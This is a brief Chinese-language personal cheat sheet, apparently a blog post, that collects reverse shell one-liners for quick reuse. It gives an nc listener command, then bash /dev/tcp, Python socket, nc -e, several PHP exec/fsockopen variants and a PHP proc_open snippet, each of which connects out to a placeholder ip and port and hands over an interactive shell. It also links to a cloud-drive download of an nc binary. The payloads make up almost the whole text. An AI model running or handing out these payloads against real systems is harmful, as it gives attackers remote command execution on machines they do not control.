写简单些给自己用的,省得每次记不住都得靠度娘
接收端主机利用nc监听端口
1 2
| Windows:nc -l -v -p 8888 Linux:nc -lvvp 8888
|
放个nc: https://pan.baidu.com/s/1B0jehdcst5aYR0HLbXSM9w 提取码: 9vya
0x01 bash
1
| bash -i >& /dev/tcp/ip/port 0>&1
|
0x02 python
1
| python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
|
0x03 nc
1 2
| nc -e /bin/bash ip port
|
0x04 php
1 2 3
| php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port 0>&1");' php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
|
1 2 3 4 5 6 7 8 9
| $sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process);
|